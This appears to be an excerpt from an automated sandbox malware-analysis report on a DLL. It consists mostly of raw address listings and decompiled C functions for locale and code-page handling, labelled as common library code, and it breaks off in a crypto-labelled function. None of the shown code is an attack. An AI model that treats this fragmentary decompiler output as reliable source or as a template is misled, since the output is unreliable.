0x6da9dd77
0x6da9db4d
0x6da9da3f
0x6da9da3f
0x6da9da45
0x6da9da47
0x6da9da7f
0x6da9da81
0x00000000
0x6da9da83
0x6da9da83
0x6da9da8a
0x00000000
0x6da9da8c
0x6da9da92
0x6da9da94
0x6da9da9a
0x6da9da9a
0x6da9da9c
0x6da9da9c
0x6da9da9e
0x6da9daa7
0x6da9daae
0x6da9dab1
0x6da9dab2
0x6da9dab4
0x6da9dab4
0x6da9dabc
0x6da9dabe
0x00000000
0x6da9dac0
0x6da9dac0
0x6da9dac6
0x6da9dac9
0x6da9dadd
0x6da9dae3
0x6da9dafc
0x6da9db01
0x6da9db04
0x00000000
0x6da9dacb
0x6da9dacb
0x6da9dad2
0x00000000
0x6da9dad2
0x6da9dac9
0x6da9dabe
0x6da9da8a
0x00000000
0x6da9da49
0x6da9da49
0x6da9da4c
0x6da9da52
0x6da9da6b
0x6da9da70
0x6da9da73
0x6da9da73
0x6da9da73
0x6da9da75
0x6da9da75
0x6da9da75
0x6da9dd79
0x6da9dd79
0x6da9dd7b
0x6da9de57
0x6da9de5e
0x6da9de65
0x6da9de78
0x6da9de7e
0x6da9de7f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6da9dd81
0x6da9dd87
0x6da9dd87
0x6da9dd8d
0x6da9dd8d
0x6da9dd99
0x00000000
0x6da9dd99
0x6da9d4b1
0x6da9d4b1
0x6da9d4b3
0x6da9d4b9
0x6da9d4bb
0x6da9d4c1
0x6da9d4c3
0x6da9d8be
0x6da9d8be
0x6da9d8c0
0x6da9d8c6
0x6da9d8cd
0x6da9d8d3
0x6da9d8d5
0x6da9d939
0x6da9d93b
0x6da9d941
0x6da9d947
0x6da9d949
0x6da9d94f
0x6da9d956
0x6da9d956
0x6da9d958
0x6da9d958
0x6da9d965
0x6da9d96c
0x6da9d972
0x6da9d975
0x6da9d976
0x6da9d97c
0x6da9d97c
0x6da9d980
0x6da9d982
0x6da9d988
0x6da9d98e
0x6da9d991
0x00000000
0x6da9d997
0x6da9d997
0x6da9d99e
0x6da9d99e
0x6da9d991
0x6da9d982
0x6da9d949
0x6da9d8d7
0x6da9d8d7
0x6da9d8d9
0x6da9d8df
0x6da9d8e5
0x00000000
0x6da9d8e5
0x6da9d8d5
0x6da9d4c9
0x6da9d4c9
0x6da9d4c9
0x6da9d4cc
0x6da9d4d0
0x6da9d4d0
0x6da9d4d1
0x6da9d4e3
0x6da9d4f0
0x6da9d4ff
0x6da9d529
0x6da9d52e
0x6da9d534
0x6da9d537
0x6da9d53d
0x6da9d53f
0x6da9d611
0x6da9d617
0x6da9d6f7
0x6da9d6fd
0x6da9d703
0x6da9d703
0x6da9d703
0x6da9d706
0x6da9d708
0x6da9d708
0x6da9d70e
0x6da9d714
0x6da9d716
0x6da9d732
0x6da9d73e
0x6da9d744
0x6da9d74a
0x6da9d718
0x6da9d71e
0x6da9d72a
0x6da9d72a
0x6da9d750
0x6da9d752
0x6da9d754
0x6da9d75a
0x6da9d75c
0x6da9d874
0x6da9d874
0x6da9d87a
0x6da9d87f
0x6da9d87f
0x6da9d882
0x6da9d883
0x00000000
0x6da9d762
0x6da9d762
0x6da9d762
0x6da9d766
0x6da9d786
0x6da9d788
0x6da9d78a
0x6da9d790
0x6da9d796
0x6da9d79c
0x6da9d7a2
0x6da9d7a4
0x6da9d7a4
0x6da9d7a7
0x00000000
0x00000000
0x6da9d7a9
0x6da9d7ab
0x6da9d7ad
0x6da9d7b5
0x6da9d7b8
0x6da9d7b8
0x6da9d7ba
0x6da9d7ba
0x6da9d7c6
0x6da9d7c9
0x6da9d7cf
0x6da9d7df
0x6da9d7e8
0x6da9d7ef
0x6da9d7f5
0x6da9d7f8
0x6da9d7f9
0x6da9d7ff
0x6da9d800
0x6da9d806
0x6da9d80c
0x00000000
0x00000000
0x00000000
0x6da9d80c
0x6da9d80e
0x6da9d810
0x6da9d818
0x6da9d81b
0x6da9d821
0x6da9d821
0x6da9d824
0x00000000
0x00000000
0x6da9d826
0x6da9d828
0x6da9d82a
0x6da9d82a
0x6da9d82d
0x6da9d830
0x6da9d830
0x6da9d836
0x6da9d83d
0x6da9d83f
0x6da9d840
0x6da9d842
0x6da9d842
0x6da9d844
0x6da9d84a
0x6da9d84c
0x6da9d84e
0x00000000
0x6da9d84e
0x00000000
0x6da9d84c
0x6da9d821
0x6da9d856
0x6da9d856
0x6da9d856
0x6da9d85c
0x6da9d85f
0x6da9d8e8
0x6da9d8ea
0x6da9d8ef
0x6da9d8f5
0x6da9d8fb
0x6da9d8fc
0x00000000
0x6da9d865
0x6da9d865
0x00000000
0x6da9d865
0x6da9d768
0x6da9d768
0x6da9d76a
0x6da9d770
0x6da9d778
0x6da9d778
0x6da9d77b
0x6da9d77b
0x00000000
0x6da9d76a
0x00000000
0x6da9d86b
0x6da9d86b
0x6da9d86c
0x6da9d86c
0x00000000
0x6da9d762
0x6da9d61d
0x6da9d61d
0x6da9d628
0x6da9d634
0x6da9d641
0x6da9d649
0x6da9d64e
0x6da9d651
0x6da9d653
0x6da9d66f
0x6da9d671
0x00000000
0x6da9d677
0x6da9d677
0x6da9d67e
0x00000000
0x6da9d684
0x6da9d68a
0x6da9d68c
0x6da9d692
0x6da9d692
0x6da9d694
0x6da9d694
0x6da9d69a
0x6da9d6a3
0x6da9d6aa
0x6da9d6ad
0x6da9d6ae
0x6da9d6b0
0x6da9d6b0
0x6da9d6b8
0x6da9d6ba
0x00000000
0x6da9d6c0
0x6da9d6c0
0x6da9d6c6
0x6da9d6c9
0x6da9d6df
0x6da9d6e5
0x6da9d6eb
0x6da9d6ec
0x6da9d902
0x6da9d902
0x6da9d909
0x6da9d90a
0x6da9d90b
0x6da9d910
0x6da9d913
0x6da9d6cb
0x6da9d6cb
0x6da9d6d2
0x00000000
0x6da9d6d2
0x6da9d6c9
0x6da9d6ba
0x6da9d67e
0x6da9d655
0x6da9d657
0x6da9d65d
0x6da9d663
0x6da9d664
0x6da9d889
0x6da9d889
0x6da9d890
0x6da9d891
0x6da9d892
0x6da9d897
0x6da9d89a
0x6da9d89a
0x6da9d89a
0x6da9d653
0x6da9d545
0x6da9d545
0x6da9d54b
0x6da9d54d
0x6da9d585
0x6da9d587
0x00000000
0x6da9d589
0x6da9d589
0x6da9d590
0x00000000
0x6da9d592
0x6da9d598
0x6da9d59a
0x6da9d5a0
0x6da9d5a0
0x6da9d5a2
0x6da9d5a2
0x6da9d5a4
0x6da9d5ad
0x6da9d5b4
0x6da9d5b7
0x6da9d5b8
0x6da9d5ba
0x6da9d5ba
0x6da9d5c2
0x6da9d5c4
0x00000000
0x6da9d5c6
0x6da9d5c6
0x6da9d5cc
0x6da9d5cf
0x6da9d5e3
0x6da9d5e9
0x6da9d602
0x6da9d607
0x6da9d60a
0x00000000
0x6da9d5d1
0x6da9d5d1
0x6da9d5d8
0x00000000
0x6da9d5d8
0x6da9d5cf
0x6da9d5c4
0x6da9d590
0x00000000
0x6da9d54f
0x6da9d54f
0x6da9d552
0x6da9d558
0x6da9d571
0x6da9d576
0x6da9d579
0x6da9d579
0x6da9d579
0x6da9d57b
0x6da9d57b
0x6da9d57b
0x6da9d89c
0x6da9d89c
0x6da9d89e
0x6da9d917
0x6da9d91e
0x6da9d91e
0x6da9d91e
0x6da9d925
0x6da9d927
0x6da9d92d
0x6da9d92e
0x6da9de85
0x6da9de85
0x6da9de86
0x6da9de87
0x6da9de8c
0x00000000
0x00000000
0x00000000
0x00000000
0x6da9d8a0
0x6da9d8a6
0x6da9d8a6
0x6da9d8ac
0x6da9d8ac
0x6da9d8b8
0x00000000
0x6da9d8b8
0x6da9d4c3
0x6da9de8f
0x6da9de8f
0x6da9de95
0x6da9de9b
0x6da9dea1
0x6da9dea3
0x6da9dea5
0x6da9deac
0x6da9deac
0x6da9deae
0x6da9deae
0x6da9deb7
0x6da9deb8
0x6da9dec0
0x6da9dec7
0x6da9deca
0x6da9decb
0x6da9ded1
0x6da9ded1
0x6da9ded5
0x6da9dedb
0x6da9dedd
0x6da9dedf
0x6da9dee5
0x6da9dee8
0x6da9def9
0x6da9defc
0x6da9df02
0x6da9df17
0x6da9df1c
0x6da9deea
0x6da9deea
0x6da9def1
0x6da9def1
0x6da9dee8
0x6da9dedd
0x6da9df2d
0x6da9df34
0x6da9df3c
0x6da9df3d
0x6da9df3f
0x6da9e0a9
0x6da9e0ab
0x6da9e0bb
0x6da9e0be
0x6da9e0c0
0x00000000
0x6da9e0ad
0x6da9e0b3
0x00000000
0x6da9e0b3
0x00000000
0x6da9df45
0x6da9df45
0x6da9df4b
0x6da9df4e
0x6da9df54
0x6da9df57
0x6da9df5d
0x6da9df63
0x6da9df65
0x6da9df67
0x6da9df69
0x6da9df69
0x6da9df6b
0x6da9df6b
0x6da9df78
0x6da9df7f
0x6da9df82
0x6da9df83
0x6da9df85
0x6da9df86
0x6da9df86
0x6da9df8e
0x6da9df94
0x6da9df96
0x6da9df9c
0x6da9df9e
0x6da9dfa4
0x6da9dfa7
0x6da9e081
0x6da9e087
0x6da9e09c
0x6da9e0a1
0x6da9dfad
0x6da9dfb3
0x6da9dfba
0x6da9dfba
0x6da9dfba
0x6da9dfba
0x6da9dfa7
0x6da9dfc0
0x6da9dfc0
0x6da9dfc6
0x6da9dfc6
0x6da9dfc6
0x6da9dfcc
0x6da9dfd2
0x6da9dfd5
0x6da9dfdb
0x6da9dfdd
0x6da9dfdf
0x6da9dfe5
0x6da9dfe7
0x6da9dfeb
0x6da9dfed
0x6da9dfed
0x6da9dfed
0x6da9dfeb
0x6da9dfe5
0x6da9dff2
0x6da9dff3
0x6da9dff5
0x6da9dff7
0x6da9dff7
0x6da9dff9
0x6da9dffb
0x6da9dffd
0x6da9e003
0x6da9e009
0x6da9e00b
0x6da9e011
0x6da9e011
0x6da9e017
0x6da9e01d
0x6da9e01f
0x00000000
0x00000000
0x6da9e025
0x6da9e027
0x6da9e027
0x6da9e029
0x6da9e029
0x6da9e035
0x6da9e039
0x6da9e040
0x6da9e043
0x6da9e044
0x6da9e046
0x6da9e046
0x6da9e04e
0x6da9e054
0x6da9e056
0x6da9e05c
0x6da9e062
0x6da9e068
0x6da9e06b
0x6da9e0cb
0x6da9e0ce
0x6da9e0d4
0x6da9e0e9
0x6da9e0ee
0x6da9e06d
0x6da9e06f
0x6da9e076
0x6da9e076
0x6da9e06b
0x6da9e0ff
0x6da9e10c
0x6da9e116
0x6da9e116
0x6da9e118
0x6da9e120
0x6da9e126
0x6da9e129
0x6da9e12f
0x6da9e131
0x6da9e142
0x00000000
0x6da9e133
0x6da9e133
0x6da9e136
0x6da9e145
0x6da9e145
0x6da9e138
0x6da9e138
0x6da9e13a
0x6da9e13a
0x6da9e136
0x6da9e14b
0x6da9e14c
0x6da9e152
0x6da9e155
0x6da9e155
0x6da9e15d
0x6da9e160
0x6da9e164
0x6da9e164
0x6da9e165
0x6da9e167
0x6da9e16d
0x6da9e173
0x00000000
0x00000000
0x00000000
0x6da9e173
0x6da9e011
0x6da9e179
0x6da9e179
0x6da9e17c
0x6da9e183
0x00000000
0x6da9e185
0x6da9e185
0x6da9e187
0x00000000
0x00000000
0x6da9e187
0x00000000
0x6da9cd6e
0x6da9cd6e
0x6da9cd74
0x6da9cd77
0x6da9cd77
0x6da9cd7a
0x6da9cdca
0x6da9cdd2
0x6da9cdd4
0x00000000
0x6da9cdda
0x6da9e189
0x6da9e189
0x6da9e189
0x00000000
0x6da9e189
0x6da9cd7c
0x6da9cd7c
0x6da9cd7c
0x6da9cd7f
0x6da9cd99
0x00000000
0x6da9cd81
0x6da9cd81
0x6da9cd81
0x6da9cd84
0x6da9cd92
0x00000000
0x6da9cd86
0x6da9cd86
0x6da9cd89
0x00000000
0x6da9cd8b
0x6da9cd8b
0x00000000
0x6da9cd8b
0x6da9cd89
0x6da9cd84
0x6da9cd7f
0x6da9cd7a
0x6da9cd34
0x6da9cd39
0x6da9cd41
0x6da9cd55
0x6da9cd5a
0x6da9cd9e
0x6da9cd9e
0x6da9cda1
0x6da9cdb1
0x6da9e1b2
0x6da9e1b4
0x6da9e1b5
0x6da9e1b6
0x6da9e1b7
0x6da9e1b8
0x6da9e1b9
0x6da9e1be
0x6da9e1c1
0x6da9e1c4
0x6da9e1c7
0x6da9e1c9
0x6da9e1da
0x6da9e1dd
0x6da9e1df
0x6da9e1e5
0x6da9e1eb
0x6da9e1f1
0x6da9e1f2
0x6da9e1f3
0x6da9e1f9
0x6da9e202
0x6da9e208
0x6da9e220
0x6da9e226
0x00000000
0x6da9e228
0x6da9e228
0x6da9e22e
0x00000000
0x6da9e230
0x6da9e230
0x6da9e232
0x00000000
0x6da9e232
0x6da9e22e
0x6da9e20a
0x6da9e20a
0x6da9e210
0x6da9e21a
0x6da9e21a
0x6da9e21c
0x6da9e234
0x6da9e234
0x00000000
0x6da9e212
0x6da9e212
0x6da9e218
0x6da9e25e
0x6da9e264
0x00000000
0x00000000
0x00000000
0x6da9e218
0x6da9e210
0x6da9e1fb
0x6da9e1fd
0x6da9e235
0x6da9e235
0x6da9e236
0x6da9e238
0x6da9e238
0x6da9e23a
0x6da9e241
0x6da9e244
0x6da9e244
0x6da9e244
0x6da9e252
0x6da9e254
0x6da9e25b
0x6da9e26e
0x6da9e1ed
0x6da9e1ed
0x00000000
0x6da9e1ed
0x6da9e1e1
0x6da9e1e1
0x00000000
0x6da9e1e1
0x6da9e1cb
0x6da9e1cb
0x6da9e1cb
0x6da9e1cd
0x6da9e1cd
0x6da9e1d0
0x6da9e1d2
0x6da9e1d5
0x6da9e1d7
0x6da9e1d9
0x6da9e1d9
0x6da9cdb7
0x6da9e18b
0x6da9e18b
0x6da9e192
0x6da9e193
0x6da9e194
0x6da9e19d
0x6da9e1a2
0x6da9e1aa
0x6da9e1b1
0x6da9e1b1
0x00000000
0x00000000
0x00000000
0x6da9cd41

APIs

__floor_pentium4.LIBCMT ref: 6DA9CE6A

Strings

1#IND, xrefs: 6DA9CD8B
1#INF, xrefs: 6DA9CDBC
1#QNAN, xrefs: 6DA9CD99
1#SNAN, xrefs: 6DA9CD92

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e67f88d44ff431c98a083526c366089bd7772a999efef0b2581b49ad3df07d0e
Instruction ID: 74582ce8dc7acc0679e0aa4e62605b5093e09af185833da7a371884e5569ad05
Opcode Fuzzy Hash: e67f88d44ff431c98a083526c366089bd7772a999efef0b2581b49ad3df07d0e
Instruction Fuzzy Hash: 49D21776E196298FDF658E28CD407EAB7F5EB85344F1445EAD40DAB240E738AAC1CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C73D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 96%

			E6DA9C73D(void* __ecx, signed int _a4, intOrPtr _a8) {
				short _v8;
				short _t17;
				signed int _t18;
				signed int _t23;
				signed int _t25;
				signed int _t26;
				signed int _t27;
				void* _t30;
				void* _t31;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr* _t37;

				_t23 = _a4;
				if(_t23 == 0) {
					L21:
					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004,  &_v8, 2) != 0) {
						_t17 = _v8;
						if(_t17 == 0) {
							_t17 = GetACP();
						}
						L25:
						return _t17;
					}
					L22:
					_t17 = 0;
					goto L25;
				}
				_t18 = 0;
				if( *_t23 == 0) {
					goto L21;
				}
				_t36 = L"ACP";
				_t25 = _t23;
				while(1) {
					_t30 =  *_t25;
					if(_t30 !=  *_t36) {
						break;
					}
					if(_t30 == 0) {
						L7:
						_t26 = _t18;
						L9:
						if(_t26 == 0) {
							goto L21;
						}
						_t37 = L"OCP";
						_t27 = _t23;
						while(1) {
							_t31 =  *_t27;
							if(_t31 !=  *_t37) {
								break;
							}
							if(_t31 == 0) {
								L17:
								if(_t18 != 0) {
									_t17 = E6DA92774(_t27, _t23);
									goto L25;
								}
								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b,  &_v8, 2) == 0) {
									goto L22;
								}
								_t17 = _v8;
								goto L25;
							}
							_t32 =  *((intOrPtr*)(_t27 + 2));
							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
								break;
							}
							_t27 = _t27 + 4;
							_t37 = _t37 + 4;
							if(_t32 != 0) {
								continue;
							}
							goto L17;
						}
						asm("sbb eax, eax");
						_t18 = _t18 | 0x00000001;
						goto L17;
					}
					_t33 =  *((intOrPtr*)(_t25 + 2));
					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
						break;
					}
					_t25 = _t25 + 4;
					_t36 = _t36 + 4;
					if(_t33 != 0) {
						continue;
					}
					goto L7;
				}
				asm("sbb edx, edx");
				_t26 = _t25 | 0x00000001;
				goto L9;
			}

0x6da9c743
0x6da9c74a
0x6da9c7ee
0x6da9c807
0x6da9c80d
0x6da9c812
0x6da9c814
0x6da9c814
0x6da9c81a
0x6da9c81d
0x6da9c81d
0x6da9c809
0x6da9c809
0x00000000
0x6da9c809
0x6da9c750
0x6da9c755
0x00000000
0x00000000
0x6da9c75b
0x6da9c760
0x6da9c762
0x6da9c762
0x6da9c768
0x00000000
0x00000000
0x6da9c76d
0x6da9c784
0x6da9c784
0x6da9c78d
0x6da9c78f
0x00000000
0x00000000
0x6da9c791
0x6da9c796
0x6da9c798
0x6da9c798
0x6da9c79e
0x00000000
0x00000000
0x6da9c7a3
0x6da9c7c1
0x6da9c7c3
0x6da9c7e6
0x00000000
0x6da9c7eb
0x6da9c7de
0x00000000
0x00000000
0x6da9c7e0
0x00000000
0x6da9c7e0
0x6da9c7a5
0x6da9c7ad
0x00000000
0x00000000
0x6da9c7af
0x6da9c7b2
0x6da9c7b8
0x00000000
0x00000000
0x00000000
0x6da9c7ba
0x6da9c7bc
0x6da9c7be
0x00000000
0x6da9c7be
0x6da9c76f
0x6da9c777
0x00000000
0x00000000
0x6da9c779
0x6da9c77c
0x6da9c782
0x00000000
0x00000000
0x00000000
0x6da9c782
0x6da9c788
0x6da9c78a
0x00000000

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,6DA9CA5B,00000002,00000000,?,?,?,6DA9CA5B,?,00000000), ref: 6DA9C7D6
GetLocaleInfoW.KERNEL32(00000000,20001004,6DA9CA5B,00000002,00000000,?,?,?,6DA9CA5B,?,00000000), ref: 6DA9C7FF
GetACP.KERNEL32(?,?,6DA9CA5B,?,00000000), ref: 6DA9C814

Strings

OCP, xrefs: 6DA9C791
ACP, xrefs: 6DA9C75B

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 65f8e91afbccde69cf97e256e581837170e1186939203c796b38e11e27c7e95b
Instruction ID: 83792b95ed9eb925378245d3cc80f659943d758700c7cf6d111bf17917866b1a
Opcode Fuzzy Hash: 65f8e91afbccde69cf97e256e581837170e1186939203c796b38e11e27c7e95b
Instruction Fuzzy Hash: D621903A66CA02ABE7258F64C940A9772F6BB44B94B1AC524F90ADF100E732DAC0C350

Uniqueness

Uniqueness Score: -1.00%

Function 6DA9C912 Relevance: 7.7, APIs: 5, Instructions: 183
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 87%

			E6DA9C912(void* __ecx, void* __edx, signed short _a4, signed short* _a8, short* _a12) {
				signed int _v8;
				int _v12;
				int _v16;
				char _v20;
				signed short* _v24;
				signed short* _v28;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t39;
				void* _t45;
				signed short* _t46;
				signed short _t47;
				signed short _t48;
				int _t49;
				void* _t53;
				signed short* _t57;
				signed short _t70;
				intOrPtr _t73;
				void* _t75;
				signed short _t76;
				intOrPtr _t83;
				short* _t86;
				signed short _t89;
				signed short* _t99;
				void* _t100;
				signed short _t101;
				signed int _t104;
				void* _t105;

				_t39 =  *0x6dab3014; // 0x6c4e8ceb
				_v8 = _t39 ^ _t104;
				_t86 = _a12;
				_t101 = _a4;
				_v28 = _a8;
				_v24 = E6DA92BDC(__ecx, __edx, _t101) + 0x50;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t45 = E6DA92BDC(__ecx, __edx, _t101);
				_t97 = 0;
				 *((intOrPtr*)(_t45 + 0x34c)) =  &_v20;
				_t89 = _t101 + 0x80;
				_t46 = _v24;
				 *_t46 = _t101;
				_t99 =  &(_t46[2]);
				 *_t99 = _t89;
				if(_t89 != 0 &&  *_t89 != 0) {
					_t83 =  *0x6daa8574; // 0x17
					E6DA9C8B1(_t89, 0, 0x6daa8460, _t83 - 1, _t99);
					_t46 = _v24;
					_t105 = _t105 + 0xc;
					_t97 = 0;
				}
				_v20 = _t97;
				_t47 =  *_t46;
				if(_t47 == 0 ||  *_t47 == _t97) {
					_t48 =  *_t99;
					if(_t48 == 0 ||  *_t48 == _t97) {
						_v20 = 0x104;
						_t49 = GetUserDefaultLCID();
						_v12 = _t49;
						_v16 = _t49;
					} else {
						E6DA9C250(_t89, _t97,  &_v20);
						_pop(_t89);
					}
					goto L20;
				} else {
					_t70 =  *_t99;
					if(_t70 == 0 ||  *_t70 == _t97) {
						E6DA9C336(_t89, _t97,  &_v20);
					} else {
						E6DA9C29B(_t89, _t97,  &_v20);
					}
					_pop(_t89);
					if(_v20 != 0) {
						_t100 = 0;
						goto L25;
					} else {
						_t73 =  *0x6daa845c; // 0x41
						_t75 = E6DA9C8B1(_t89, _t97, 0x6daa8150, _t73 - 1, _v24);
						_t105 = _t105 + 0xc;
						if(_t75 == 0) {
							L20:
							_t100 = 0;
							L21:
							if(_v20 != 0) {
								L25:
								asm("sbb esi, esi");
								_t101 = E6DA9C73D(_t89,  ~_t101 & _t101 + 0x00000100,  &_v20);
								if(_t101 == 0 || IsValidCodePage(_t101 & 0x0000ffff) == 0 || IsValidLocale(_v16, 1) == 0) {
									goto L22;
								} else {
									_t57 = _v28;
									if(_t57 != 0) {
										 *_t57 = _t101;
									}
									E6DA96910(_v16,  &(_v24[0x128]), 0x55, _t100);
									if(_t86 == 0) {
										L34:
										_t53 = 1;
										L23:
										return E6DA89B91(_t53, _t86, _v8 ^ _t104, _t97, _t100, _t101);
									} else {
										_t33 =  &(_t86[0x90]); // 0xd0
										E6DA96910(_v16, _t33, 0x55, _t100);
										if(GetLocaleInfoW(_v16, 0x1001, _t86, 0x40) == 0) {
											goto L22;
										}
										_t36 =  &(_t86[0x40]); // 0x30
										if(GetLocaleInfoW(_v12, 0x1002, _t36, 0x40) == 0) {
											goto L22;
										}
										_t38 =  &(_t86[0x80]); // 0xb0
										E6DAA0752(_t38, _t101, _t38, 0x10, 0xa);
										goto L34;
									}
								}
							}
							L22:
							_t53 = 0;
							goto L23;
						}
						_t76 =  *_t99;
						_t100 = 0;
						if(_t76 == 0 ||  *_t76 == 0) {
							E6DA9C336(_t89, _t97,  &_v20);
						} else {
							E6DA9C29B(_t89, _t97,  &_v20);
						}
						_pop(_t89);
						goto L21;
					}
				}
			}

0x6da9c91a
0x6da9c921
0x6da9c928
0x6da9c92c
0x6da9c930
0x6da9c93e
0x6da9c943
0x6da9c944
0x6da9c945
0x6da9c946
0x6da9c94e
0x6da9c950
0x6da9c956
0x6da9c95c
0x6da9c95f
0x6da9c961
0x6da9c964
0x6da9c968
0x6da9c96f
0x6da9c97c
0x6da9c981
0x6da9c984
0x6da9c987
0x6da9c987
0x6da9c989
0x6da9c98c
0x6da9c990
0x6da9ca00
0x6da9ca04
0x6da9ca17
0x6da9ca1e
0x6da9ca24
0x6da9ca27
0x6da9ca0b
0x6da9ca0f
0x6da9ca14
0x6da9ca14
0x00000000
0x6da9c997
0x6da9c997
0x6da9c99b
0x6da9c9b1
0x6da9c9a2
0x6da9c9a6
0x6da9c9a6
0x6da9c9ba
0x6da9c9bb
0x6da9ca43
0x00000000
0x6da9c9c1
0x6da9c9c1
0x6da9c9d0
0x6da9c9d5
0x6da9c9da
0x6da9ca2a
0x6da9ca2a
0x6da9ca2c
0x6da9ca30
0x6da9ca45
0x6da9ca51
0x6da9ca5b
0x6da9ca61
0x00000000
0x6da9ca80
0x6da9ca80
0x6da9ca85
0x6da9ca87
0x6da9ca87
0x6da9ca98
0x6da9ca9f
0x6da9caff
0x6da9cb01
0x6da9ca34
0x6da9ca42
0x6da9caa1
0x6da9caa4
0x6da9caae
0x6da9cac6
0x00000000
0x00000000
0x6da9cace
0x6da9cae5
0x00000000
0x00000000
0x6da9caef
0x6da9caf7
0x00000000
0x6da9cafc
0x6da9ca9f
0x6da9ca61
0x6da9ca32
0x6da9ca32
0x00000000
0x6da9ca32
0x6da9c9dc
0x6da9c9de
0x6da9c9e2
0x6da9c9f8
0x6da9c9e9
0x6da9c9ed
0x6da9c9ed
0x6da9c9fd
0x00000000
0x6da9c9fd
0x6da9c9bb

APIs

Part of subcall function 6DA92BDC: GetLastError.KERNEL32(?,00000008,6DA98ED9), ref: 6DA92BE0
Part of subcall function 6DA92BDC: SetLastError.KERNEL32(00000000,?,00000005,000000FF), ref: 6DA92C82

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 6DA9CA1E
IsValidCodePage.KERNEL32(00000000), ref: 6DA9CA67
IsValidLocale.KERNEL32(?,00000001), ref: 6DA9CA76
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 6DA9CABE
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 6DA9CADD

Memory Dump Source

Source File: 00000000.00000002.321126809.000000006DA81000.00000020.00000001.01000000.00000003.sdmp, Offset: 6DA80000, based on PE: true

Associated: 00000000.00000002.321118914.000000006DA80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321283455.000000006DAA4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321302763.000000006DAB3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321320388.000000006DAB4000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321422081.000000006DAD4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.321433207.000000006DAD6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6da80000_loaddll32.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 88a06d7284efc3732c150337697f4fdcc3dd615c8dbda605e7eaae20e9e64438
Instruction ID: 602d325dffe0d5b1bb08acc016771ec53985b93acf8d0031619129ca58d17666
Opcode Fuzzy Hash: 88a06d7284efc3732c150337697f4fdcc3dd615c8dbda605e7eaae20e9e64438
Instruction Fuzzy Hash: 52515075928A16AFEB00DFB5CC40ABE77F9BF09700F094529E510EF140EB70DA818B61

Uniqueness

Uniqueness Score: -1.00%

Function 6DA948FC Relevance: 6.3, APIs: 4, Instructions: 337
COMMONCrypto

Download Yara Rule

C-Code - Quality: 82%

			E6DA948FC(signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40) {
				signed int _v5;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				unsigned int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t87;
				void* _t93;
				intOrPtr _t94;
				signed int _t98;
				signed int _t100;
				signed int _t101;
				signed int _t104;
				signed int _t105;
				signed int _t106;
				signed int _t111;
				void* _t113;
				signed int _t114;
				void* _t115;
				void* _t118;
				void* _t120;
				void* _t122;
				signed int* _t124;
				void* _t127;
				signed int _t129;
				signed int _t131;
				signed int _t136;
				signed int* _t140;
				signed int _t141;
				signed int _t146;
				signed int _t147;
				signed int _t149;
				signed int _t154;
				signed int _t155;
